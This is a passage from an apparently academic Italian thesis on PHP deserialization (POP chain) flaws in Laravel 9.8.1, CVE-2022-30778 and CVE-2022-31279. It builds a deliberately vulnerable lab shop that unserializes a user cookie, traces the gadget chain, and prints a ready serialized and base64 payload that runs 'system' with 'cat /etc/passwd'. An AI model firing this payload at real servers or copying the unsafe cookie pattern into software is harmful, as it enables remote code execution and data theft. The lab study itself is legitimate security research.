ne è un esempio, ma ve ne sono altri molto usati come __destruct() .§3.2 − Ricerca sulla vulnerabilità 16 necessario però che all’ attivazione di un magic method vengano chiamati metodi di altri oggetti che l’ attaccante possa manipolare, facciamo un esempio:
§3.2 − Ricerca sulla vulnerabilità 17
class Example{
private $obj;
function __construct()
{
// some PHP code...
}
function __wakeup()
{
if (isset($this->obj)) return $this->obj->evaluate();
}
}
class CodeSnippet{
private $code;
function evaluate()
{
eval($this->code);
}
}
//...altro codice...
$user_data = unserialize($_POST[’data’]);
In questo caso la classe example ha un attributo privato e possiede un’ implemen-
tazione di __wakeup() mentre la classe CodeSnippet possiede un’ attributo privato
"$code" e una funzione che esegue il contenuto di $code. Dopo la definizione delle
classi c’ è il codice contenente le istruzioni del programma in cui vediamo che c’ è
una deserializzazione di dati passati in una richiesta POST. La POP chain si potrebbe
quindi scrivere in questo modo:
class CodeSnippet
{
private $code = "phpinfo();";
}
class Example
{
private $obj;
function __construct()
{
$this->obj = new CodeSnippet;
}§3.3 − Costruzione laboratorio virtuale 18
}
print urlencode(serialize(new Example));
Analizziamo il funzionamento di questo exploit; prima di tutto notiamo che vengono
definite le stesse classi della "codebase" ma con alcune differenze:
• nella classe Example è stato sovrascritto il metodo __construct()
• nella classe CodeSnippet viene dato un valore di default alla proprietà $code
Il funzionamento quindi è il seguente: viene creato un nuovo oggetto Example il
quale contiene nell’ attributo $obj un CodeSnippet, la cui proprietà $code avrà valore
"phpinfo();" che è il nome di una funzione PHP usata per stampare verbosamente
tutte le caratteristiche dell’ ambiente PHP utilizzato. Successivamente l’ oggetto
Example creato viene serializzato; codificato in maniera tale da poter essere scritto in
un URL e infine stampato. Se a questo punto l’ attaccante provasse a inviare tramite
POST la stringa ottenuta questa verrebbe prima deserializzata e successivamente ver-
rebbe invocato il metodo __wakeup() della classe Example. Questo metodo wakeup
controlla se esiste la proprietà $obj dell’ oggetto e in tal caso ritorna il risultato del
metodo evaluate() di $obj, dato che $obj fa parte della classe CodeSnippet possiede
un metodo evaluate(), e di conseguenza viene chiamata la funzione eval( \$this
->code ) che esegue quindi il contenuto della stringa $code fornita dall’ attaccante.
La caratteristica distintiva di una POP chain è quindi quella di sfruttare metodi
della codebase dell’ applicazione bersaglio per attuare esecuzione remota di codice
arbitrario.
3.3 Costruzione laboratorio virtuale
Andiamo adesso a trattare la realizzazione di un laboratorio virtuale in cui poter
testare CVE-2022-31279 e CVE-2022-30778. Data la natura delle vulnerabilità in que-
stione possiamo costruire un solo laboratorio in cui poterle testare entrambe poichè
sono entrambe vulnerabilità che colpiscono la versione 9.8.1 di Laravel framework.
Sappiamo che dobbiamo testare una vulnerabilità web, ciò significa che dovremo
necessariamente disporre di:
• un server web
• un client web
• una rete a cui connettere il client e il server
Esistono molte possibili realizzazioni di un laboratorio così composto, anche perchè
non abbiamo vincoli particolari per quanto riguarda la velocità di connessione o la
potenza di calcolo dei sistemi. Per motivi economici e di facilità di dispiegamento
abbiamo optato infine per questo setup:§3.3 − Costruzione laboratorio virtuale 19
3.3.1 La rete
La connessione tra client e server è stata realizzata tramite un servizio di vpn
gratuito chiamato Tailscale, questo offre la possibilità di connettere i propri dispo-
sitivi personali in una virtual private network basata sul protocollo Wireguard con
autenticazione effettuata tramite OAuth2. Per connettersi alla propria vpn bisogna
scaricare il client tailscale sul dispositivo e effettaure l’ accesso al proprio account di
google ottenendo in questo modo accesso alla vpn. La scelta di utilizzare una vpn
è stata per porter operare su una rete "minimale" senza meccanismi di proxy e per
permettere connessione tra client e server da remoto senza la necessità di ricorrere a
NAT o indirizzi ip pubblici.
3.3.2 Il client
La scelta del client è quella meno influente nel testing della vulnerabilità, questo
perchè stiamo parlando di una vulnerabilità web lato server rispetto alla quale non
sono di alcuna rilevanza l’ architettura del client, il suo sistema operativo o addirittura
il tipo di web client utilizzato, sia esso un browser o una utility da terminale. Come
client quindi useremo un normale PC con sistema operativo Windows e come browser
Google Chrome.
3.3.3 Il server
Il web server invece è la parte del nostro sistema che richiede più accortezze,
questo perchè dobbiamo utilizzare una specifica versione di Laravel, che a sua volta ci
darà dei vincoli sulla versione di PHP e di composer da utilizzare. Il server utilizzato
è una macchina virtuale realizzata con l’ hypervisor open source virtualbox, con
architettura x86 e sistema operativo Debian con kernel linux 5.10.0 2 . Su questo server
abbiamo quindi installato un web server Apache 2.4.54 che utilizza PHP alla versione
8.0.21 e il package manager composer2. Quindi sono state creati due progetti in cui
testare rispettivamente la prima e la seconda vulnerabilità in questo modo:
cd /var/www/html
composer create-project laravel/laravel lab1
cd lab1
rm -r /vendor composer.lock
Una volta eliminato il file di lock di composer bisogna modificare le specifiche di
default nel composer.json, in questo caso dobbiamo modificare la versione desiderata
di laravel/framework e di laravel/sanctum ottenendo una sitauzione del genere:
2 lascelta dell’ architettura e del sistema operativo in questo caso non è rilevante ai fini dell’ attacco,
tuttavia abbiamo tentato di riprodurre uno scenario verosimilmente usato in ambito commerciale.
Inoltre l’ uso di una distribuzione linux con dei repository molto forniti come quelli di debian ha reso
più agevole il processo di installazione dei software§3.3 − Costruzione laboratorio virtuale 20
Figura 3.2: Prime righe del file composer.json
a questo punto possiamo eseguire
composer update
e avremo installato correttamente il progetto Laravel.
3.3.4 La web application
Andiamo quindi a sviluppare la nostra web app vulnerabile. Supponiamo che si
tratti di un sito che vende vestiti online, e che ci sia un sistema di impostazione delle
preferenze nel sito basato sui cookie. Al primo accesso al sito l’ utente seleziona le sue
preferenze nella visualizzazione del sito (tema della pagina, ordine di visualizzazione
dei risultati, etc ...) e invia le sue preferenze tramite un form html in una richiesta
POST al server, questo riinvia la pagina con le impostazioni selezionate e allega alla
risposta un cookie, questo cookie è un oggetto serializzato contente le preferenze
selezionate dall’ utente. Nei prossimi accessi, il browser dell’ utente riinvierà il cookie
e il sistema saprà quali impostazioni utilizzare. È importante specificare da subito che
questo NON è un metodo corretto di implementare questa funzione, questo perchè
in generale espone il server al rischio di processare dati provenienti dall’ utente in
maniera incontrollata, (i cookie sono modificabili dal client), due approcci migliori
sarebbero il salvataggio dell’ informazione su DB o l’ uso di cookie criptati/firmati.
Il seguente sequence diagram spiega meglio l’ interazione client server:§3.3 − Costruzione laboratorio virtuale 21
Figura 3.3: Diagramma delle sequenze dell’ interazione
La nostra web app Laravel sarà la più semplice possibile, in quanto per testare la
vulnerabilità dovremo implementare solo queste componenti:
• Un controller che gestirà la logica lato server della visualizzazione della home-
page e la gestione del cookie per le preferenze
• Un model che rappresenterà le nostre impostazioni sito
• una o più view per la homepage
La view
La realizzazione della view non è di importanza rilevante ai fini del nostro test,
tuttavia è stata realizzata per sembrare la home page di un negozio online. A sinistra
all’ interno di una navbar è stato creato un piccolo form a tendina con all’ interno dei
radio button per la selezione delle preferenze, le quali vengono inoltrate al server
tramite richiesta POST al click sul bottone di submit "Modifica preferenze".
Il controller
Un controller Laravel è una sottoclasse della classe \App\Http\Controllers\Controller,
Il nostro controller quindi sarà la classe OnlyController che estende Controller. All’
interno abbiamo definito 2 action (metodi publici), getHome, è il metodo che ci
permette di visualizzare la home in risposta alla richiesta GET /home, mentre set-
Preferences è il metodo attivato da POST /home ossia la richiesta HTTP che avviene§3.3 − Costruzione laboratorio virtuale 22
Figura 3.4: Screenshot della homepage (/lab1/public/home)
quando l’ utente sottomette il form delle preferenze, e in risposta visualizza anch’
esso la home ma impostando anche il cookie. Nello specifico setPreferences estrae i
dati del form contenuti nella richiesta POST , crea e serializza un oggetto di classe
Preferences e lo allega alla Response, in seguito restituisce la view corripondente alle
preferenze ricevute.§3.3 − Costruzione laboratorio virtuale 23 Questo è il file OnlyController.php:
§3.3 − Costruzione laboratorio virtuale 24
}
//EOF
Si noti che nella fase di generazione del cookie una volta serializzato l’ oggetto, questo
viene poi codificato in base64, e nella fase di ritiro viene prima decodificato dalla
suddetta base e poi deserializzato. La base64 è un meccanismo di codifica di byte
in caratteri del codice ascii, viene usata perchè ha il vantaggio di mappare i byte a
gruppi di 6 bit in caratteri ascii stampabili e quasi universalmente accettati, è molto
usata quindi nel web per trasmettere dati binari in una codifica interpretabile da tutti
i browser e compatibile con gli URL.
Il Model
Il model della nostra applicazione invece sarà rappresentato dalla classe Preferen-
ze. In questo caso l’ unica utilità del model è la rappresentazione dei dati in una forma
facilmente utilizzabile, quindi non abbiamo necessità di creare metodi particolari o
utilizzare connessioni con un database. Abbiamo quindi un model del genere:§3.4 − Costruzione payload malevolo 25
3.4 Costruzione payload malevolo
Da qui in poi inizieremo la discussione della fase offensiva del test, e per far
ciò bisogna prima analizzare più a fondo il meccanismo di azione delle nostre due
vulnerabilità.
3.4.1 CVE-2022-30778
Iniziamo da quella (di poco) meno recente ossia CVE-2022-30778. Come abbiamo
già detto in precedenza entrambe sono delle vulnerabilità di tipo POP chain, nel caso
di CVE-2022-30778 la sequenza vulnerabile inizia con l’ utilizzo di unserialize() sul
nostro oggetto malevolo. Nella classe \Illuminate\Broadcasting\PendingBroadcast
è definito il metodo __destruct() che viene attivato al momento della distruzione
dell’ oggetto da parte del garbage collector:
public function __destruct()
{
$this->events->dispatch($this->event);
}
questo tenta di chiamare il metodo dispatch del suo attributo attributo "events" con
argomento $this->event. Il secondo anello della nostra POP chain sarà quindi una
classe che possiede un metodo dispatch, in questo caso \Illuminate\Bus\Dispatcher
fa al caso nostro,
public function dispatch($command){
return $this->queueResolver && $this->commandShouldBeQueued($comma
? $this->dispatchToQueue($command)
: $this->dispatchNow($command);
}
il metodo dispatch di Dispatcher controlla se l’ attributo queueResolver è stato valoriz-
zato e se il comando passatogli $command è un istanza dell’ interfaccia ShouldQueue,
se entrambe le condizioni sono vere e in tal caso usa il metodo dispatchToQueue(). En-
trambe le condizioni possiamo manipolarle direttamente quindi diamo per assunto
che venga eseguito il metodo dispatchToQueue:
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
per prima cosa viene controllata la presenza dell’ attributo $comand->connection, se
non esiste viene impostato a NULL, altrimenti viene lasciato tale, e alla fine della no-
stra catena arriva la call_user_func($this->queueResolver,$connection). Questa§3.4 − Costruzione payload malevolo 26
è una funzione molto utilizzata negli attacchi di questo tipo perchè permette l’ esecu-
zione di una funzione arbitraria con argomento passatogli nel secondo parametro.
Quindi in questo caso eseguirà $this->queueResolver con argomento $connection,
e qua abbiamo la nostra esecuzione remota di codice; il nostro exploit sarà quindi
un oggetto serializzato di classe PendingBroadcast di cui andremo a controllare le
proprietà "event" ed "events", PendingBroadcast->events sarà un oggetto di classe
Dispatcher, mentre PendingBroadcast->event sarà una classe che deve possedere
queste caratteristiche:
• deve possedere un attributo chiamato "connection"
• deve implementare l’ interfaccia ShouldQueue
Nel nostro caso \Illuminate\Broadcasting\BroadcastEvent soddisfa queste caratteri-
stiche. Questo quindi è il diagramma delle classi del nostro exploit:
Figura 3.5: Diagramma delle classi coinvolte nell’ exploit§3.4 − Costruzione payload malevolo 27
e questa sarà la struttura dello script per generare il cookie malevolo:
1§3.4 − Costruzione payload malevolo 28
52 ?>
il risultato che si ottiene dall’ esecuzione di questo script è l’ oggetto serializzato e
poi convertito in base64:
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:
25:"Illuminate\Bus\Dispatcher":5:{s:12:"*container";N;s:11:"*pipeli
ne";N;s:8:"*pipes";a:0:{}s:11:"*handlers";a:0:{}s:16:"*queueResolve
r";s:6:"system";}s:8:"*event";O:38:"Illuminate\Broadcasting\Broadca
stEvent":1:{s:10:"connection";s:15:"cat /etc/passwd";}}
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp
7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOj
U6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6I
gAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoA
cXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJ
JbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY2
9ubmVjdGlvbiI7czoxNToiY2F0IC9ldGMvcGFzc3dkIjt9fQ==
In questo caso il nostro exploit è la stringa in base64, poichè come possiamo vedere
anche nel codice della web app, il cookie deve prima essere decodificato e poi
deserializzato
3.4.2 CVE-2022-31279
CVE-2022-31279 è sotto alcuni aspetti una vulnerabilità "sorella" di CVE-2022-
30778 come stiamo per vedere entrambe utilizzano la classe \Illuminate\Broadcasting
\PendingBroadcast ed entrambe sfruttano la deserializzazione di un oggetto da
noi fabbricato, tuttavia lavorano in modi sostanzialmente diversi. CVE-2022-31279
nasce dall’ osservazione che la classe Generator del package Faker può essere usata
come sostituto del nostro Dispatcher, in quanto possiede il magic method __call(),
quest’ ultimo è un metodo molto particolare, poichè permette di reindirizzare la
chiamata di un metodo che non fa parte della classe:
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
quindi se avessimo un oggetto $a di classe Generator e provassimo a chiamare
1 \$a->dispatch($attributes)
il risultato sarebbe:
1 $a->format("dispatch",$attributes)
a sua volta la funzione format() è così definita:
1 public function format($format, $arguments = [])
2 {
3 return call_user_func_array($this->getFormatter($format),
$arguments);
4 }§3.4 − Costruzione payload malevolo 29
la sintassi è molto annidata ma possiamo subito notare che viene eseguita la
call_user_func_array che è sostanzialmente una variante della sopracitata call_user_func
che permette di passare come argomento un array di argomenti, questo è un ottimo
suggeriento di quello che può avvenire. La funzione chiamata quindi sarà il risul-
tato del metodo $this->getFormatter($format) e gli argomenti passati saranno in
$arguments, andiamo quindi a esaminare cosa restituisce getFormatter:
1 public function getFormatter($format)
2 {
3 if (isset($this->formatters[$format])) {
4 return $this->formatters[$format];
5 }
6
7 if (method_exists($this, $format)) {
8 $this->formatters[$format] = [$this, $format];
9 return $this->formatters[$format];
10 }
getFormatter($format) controlla se esiste un "formattatore" corrispondente a $for-
mat in $this->formatters, in tal caso lo restituisce, altrimenti se esiste un meto-
do con questo nome definito in $this (Generator) lo aggiunge ai "formatters" e
poi lo restituisce. In sostanza se troviamo il modo di controllare i parametri di
call_user_func_array abbiamo la nostra RCE3 . Possiamo quindi usare lo stesso
trucco della prima vulnerabilità e inserire un oggetto di tipo Generator in un Pen-
dingBroadcast che verrà distrutto e proverà a chiamare il metodo dispatch() di
Generator, questo attiverà la __call() che chiamerà a sua volta la format(), la quale
proverà a trovare un formatter associato al metodo da noi passato, dato che Pending-
Broadcast proverà a chiamare Generator->dispatch dobbiamo porre il formatter del
Generator = "dispatch". Il diagramma UML ci aiuta a capire meglio l’ interazione di
tutte queste classi:
Se riuscissimo quindi a impostare nell’ array "formatters" di Generator una fun-
zione corrispondente a "dispatch" avremmo completato il nostro exploit, c’ è però un
problema, in Generator è definito anche un metodo __wakeup():
1 public function __wakeup()
2 {
3 $this->formatters = [];
4 }
Purtroppo (per noi) il metodo __wakeup() svuota l’ array corrente dei formatters,
quindi se noi creassimo semplicemente l’ oggetto PendingBroadcast con dentro il
nostro Generator anche impostando formatters questo verrebbe prima svuotato, e
di conseguenza all’ attivazione della getFormatter non verrebbe restituito niente,
bisogna trovare quindi un’ altra strada. Si deve tenere presente tuttavia che stiamo la-
vorando con oggetti serializzati, soffermiamoci quindi un attimo sulla serializzazione
PHP:
La notazione
PHP possiede un formato di serializzazione sostanzialmente diverso dagli altri
linguaggi, solitamente infatti un oggetto viene rappresentato in forma binaria, ossia
3 Remote Code ExecutionPuoi anche leggere
